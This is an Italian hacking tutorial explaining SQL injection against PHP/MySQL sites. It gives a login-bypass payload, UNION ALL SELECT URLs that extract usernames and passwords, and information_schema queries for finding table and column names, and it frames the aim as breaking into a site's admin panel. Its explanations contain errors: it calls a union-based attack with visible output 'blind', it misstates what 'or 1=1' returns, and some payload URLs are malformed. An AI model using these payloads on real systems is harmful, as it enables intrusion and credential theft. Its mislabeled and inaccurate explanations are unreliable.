INTRODUZIONE ALLE BLIND SQL INJECTIONS

evilsocket
http://www.evilsocket.net/

.: Introduzione

Salve a tutti, scrivo questo paper per chiarire, almeno spero XD, il concetto di sql injection e di blind sql injection, nonché la logica che c'è dietro a questa tecnica .
Per poter comprendere al meglio questa guida, è necessaria da parte del lettore una minima conoscenza del linguaggio SQL e di un minimo di php per la gestione delle query .

.: Concetto

Ogni sito in php che si rispetti, elabora e visualizza i propri contenuti appoggiandosi su un database, solitamente MySQL, che contiene dati come il contenuto degli articoli, delle news e quasi sempre gli account degli utenti e degli amministratori .
Ovviamente il sistema di gestione di questi dati necessita dei parametri in ingresso per sapere cosa e/o come visualizzare, parametri che possono essere passati con la classica richiesta **GET**

```
http://www.sito.com/news.php?id=23
```

(in questo caso la pagina selezionerà l'articolo avente un id uguale a 23)

o con una richiesta **POST** di un form html :

```
...
<form method="POST" action="news.php">
    <input type="text" name="id" value="23" />
    <input type="submit" value="Visualizza news">
</form>
...
```

(in questo caso la pagina selezionerà l'articolo avente un id uguale a 23)

Tali parametri poi dovranno essere elaborati dalla pagina che li riceve venendo inseriti in una query sql di selezione .
Vediamo un po un piccolo esempio in php di come "potrebbe" essere una generica pagina "news.php" :

```
<?php

/* usare l'oggetto $_POST se la richiesta è in post */
$id = $_GET['id'];

/* ... qui viene gestita la connessione al db ... */

$result = mysql_query("SELECT * FROM tabella_news WHERE news_id=$id");

/* ... qui viene gestita la lettura del recordset e la visualizzazione ... */

?>
```

Come vedete da questo semplice esempio, la pagina prende i dati in ingresso e li usa, come dicevamo, per eseguire la query al database .

Essendo questi dati inviati dal nostro browser, possono essere manipolati a nostro piacimento, tale manipolazione mirata prende il nome di SQL Injection (letteralmente "iniezione di sql") .
Un esempio di questa manipolazione può essere il seguente :

```
http://www.sito.com/news.php?id=23 or 1=1
```

Vediamo come questa injection va a trasformare la query dell esempio precedente :

```
"SELECT * FROM tabella_news WHERE news_id=$id"
diventa
"SELECT * FROM tabella_news WHERE news_id=23 or 1=1"
```

Cosa che "forza" la query NON a selezionare la news numero 23 come ci si aspetta che faccia, bensì a selezionare il primo oggetto della tabella data la condizione booleana "or 1=1" che è sempre vera .

Abbiamo quindi visto come si possa manipolare il comportamento di uno script php modificando ad hoc i parametri passati in input ... per farvi notare la potenzialità della tecnica in questione, voglio farvi un esempio più pratico :

login.php

```
<?php

$username = $_GET['user'];
$password = $_GET['password'];

/* ... qui viene gestita la connessione al db ... */

$result = mysql_query("SELECT * FROM tabella_utenti WHERE user='$username' AND
password='$password'");

/* ... qui viene gestita la lettura del recordset e l'accesso utente ... */

?>
```

E conseguente sql injection :

```
http://www.sito.com/login.php?user=&password=' or ''='
```

Che andando a finire nella query vi garantirebbe l'accesso senza avere alcuna credenziale vera e propria trasformando la query così :

```
"SELECT * FROM tabella_utenti WHERE user='$username' AND password='$password'"
diventa
"SELECT * FROM tabella_utenti WHERE user='' AND password='' or ''=''"
```

.: Blind SQL Injections

Nel precedente paragrafo abbiamo visto una normale sql injection, che nonostante le sue potenzialità resta comunque limitata .
La variante più efficiente e più difficile da attuare assume l'aggettivo di "blind" (cieca) dato che letteralmente, nel caso di un attacco di questo tipo, si procede alla cieca .
Come dicevo, una sql injection normale è limitata, analizziamo la seguente situazione .

Volete infiltrarvi nel pannello di gestione di un determinato sito, ma la pagina login.php non ha difetti che vi permettono di iniettare del sql ... di difetti ne avete trovati solo nella pagina news.php del sito .
Quindi vi domandate "a che cavolo mi serve iniettare del codice nella gestione delle news ?!?!??!" serve eccome :P !

In questo caso ci viene in aiuto la struttura semantica del MySQL con il suo "**UNION ALL SELECT**", prendiamo la descrizione di tale operazione che c'è sulla documentazione del mysql :

"UNION is used to combine the result from multiple SELECT statements into a single result set.
The column names from the first SELECT statement are used as the column names for the results returned. Selected columns listed in corresponding positions of each SELECT statement should have the same data type. (For example, the first column selected by the first statement should have the same type as the first column selected by the other statements.)"

tradotto :

"UNION è usato per combinare il risultato di dichiarazioni SELECT multiple dentro un unico result set .
I nomi delle colonne della prima dichiarazione SELECT sono usati come nomi di colonna per i risultati otttenuti . Le colonne selezionate elencate nella posizione corrispondente di ogni dichiarazione SELECT dovrebbero essere dello stesso tipo. (Per esempio, la prima colonna selezionata dalla prima dichiarazione dovrebbe essere dello stesso tipo della prima colonna selezionata dalle altre dichiarazioni.)"

Tradotto in parole povere, con le accortezze necessarie si possono concatenare delle select su tabelle diverse tramite una UNION ALL SELECT .
Ad esempio :

```
SELECT * FROM tabella1 UNION ALL SELECT * FROM tabella2
```

Che come potete ben capire, seleziona dei dati sia dalla tabella1 che dalla tabella2 restituendo un unico recordset .

Una nota **IMPORTANTE** da fare è che, per sua natura, la UNION ALL SELECT ha alcuni requisiti per funzionare .
Il più importante (oltre ovviamente ad una corretta sintassi delle due select) è che il numero dei campi selezionati dalla prima select, deve essere lo STESSO di quello dei campi selezionati dalla seconda select .

Esempio :

SBAGLIATO

```
SELECT nome,cognome FROM tabella1 UNION ALL SELECT numero FROM tabella2
```

GIUSTO

```
SELECT nome,cognome FROM tabella1 UNION ALL SELECT numero,data FROM tabella2
```

Ovviamente la prima query restituirà un errore sintattico dato che la prima select va a prelevare due campi (nome e cognome) mentre la seconda solo uno (numero) .
Invece nella seconda query tutto andrà liscio come l'olio dal momento che sia la prima che la seconda select prelevano due campi (rispettivamente nome, cognome e numero,data) .

Ed ecco che arriviamo al concetto di blind sql injection !
Nella circostanza precedente, possiamo forzare news.php a selezionare dei dati anche dalla tabella utenti, concatenando la nostra select iniettata con una UNION ALL SELECT come nel seguente esempio :

```
http://www.sito.com/news.php?id=23 UNION ALL SELECT user,password FROM tabella_utenti
```

Tale tipo di query però ci restituirà un errore dal momento che è alquanto improbabile che la select sulla tabella_utenti prelevi lo stesso numero di campi (user,password quindi 2) della prima select sulla tabella_news poiché la query completa diventerebbe una cosa del tipo :

```
"SELECT * FROM tabella_news WHERE news_id=23 UNION ALL SELECT user,password FROM tabella_utenti"
```

Qundi il nostro obiettivo diventa **determinare quanti campi seleziona la prima select** per apportare le giuste modifiche alla select che vogliamo iniettare nella query finale .
E qui, come accennavo prima, si procede alla cieca :P ... ovvero si parte da un campo continuando ad aggiungere campi alla seconda select fino a quando, invece del messaggio di errore di sintassi nella query, ci troviamo davanti la pagina con i risultati che vogliamo .

Il passaggio potrebbe essere una cosa del genere :

```
http://www.sito.com/news.php?id=23 UNION ALL SELECT user,password FROM tabella_utenti
errore di sintassi
http://www.sito.com/news.php?id=23 UNION ALL SELECT user,password,0 FROM tabella_utenti
errore di sintassi
http://www.sito.com/news.php?id=23_UNION ALL SELECT user,password,0,1 FROM tabella_utenti
errore di sintassi
http://www.sito.com/news.php?id=23_UNION ALL SELECT user,password,0,1,2 FROM tabella_utenti
visualizzazione dei dati (query eseguita con successo)
```

Come vedete, andando a tentativi (quindi alla cieca), siamo giunti alla query corretta :

```
http://www.sito.com/news.php?id=23_UNION ALL SELECT user,password,0,1,2 FROM tabella_utenti
quindi
"SELECT * FROM tabella_news WHERE news_id=23 UNION ALL SELECT user,password,0,1,2 FROM tabella_utenti"
```

E possiamo dedurre che la prima select (SELECT * FROM tabella_news) preleva 5 campi dalla tabella e, dato che viene fatta una select completa con il carattere *, possiamo di conseguenza dedurre che la tabella_news sia formata proprio da 5 colonne .

.: L'Information Schema

In realtà, nei casi reali, c'è un altra complicazione ... che non sappiamo come si chiamano le tabelle !
Negli esempi il tutto era relativamente semplice poiché dal codice che vi ho mostrato sapevamo che le due tabelle si chiamavano tabella_news e tabella_utenti, ma nei casi reali non avendo accesso al codice delle pagine, non sappiamo su quali tabella vanno ad operare .
In questo caso ci viene in aiuto il cosiddetto **Information Schema** .
L'information schema è un database che si trova su ogni server MySQL dal momento della prima istallazione e contiene, guarda caso, delle tabelle con informazioni sulla struttura degli altri dati presenti negli altri database .
Nel caso specifico, dobbiamo visualizzare il contenuto della tabella information_schema.tables che contiene il campo table_name, ovvero la lista di tutte le tabelle presenti nel db ... **BINGO** !

Sfruttando una query del genere :

```
http://www.sito.com/news.php?id=23_UNION ALL SELECT table_name,0,1,2,3 FROM information_schema.tables
```

Avremo la lista di tutte le tabella presenti nel db, e vedremo comparire come per magia il nome della nostra tabella_utenti .
Ok, sappiamo da quale tabella prelevare i dati ... ma come si chiamano i dati ?!!??! Non abbiamo il nome dei campi ... niente, paura, ci viene in contro information_schema.columns, ovvero la lista dei nomi delle colonne per ogni tabella, quindi eseguiremo la seguente query :

```
http://www.sito.com/news.php?id=23_UNION ALL SELECT column_name,0,1,2,3 FROM information_schema.columns where table_name='tabella_utenti'
```

E finalmente sapremo sia da quale tabella prelevare i dati, sia il nome dei dati della tabella che ci interessa .

In conclusione, spero che questa guida aiuti qualcuno a chiarirsi le idee su cosa sia una sql injection, una blind sql injection e come adoperarle per ottenere informazioni utili .

evilsocket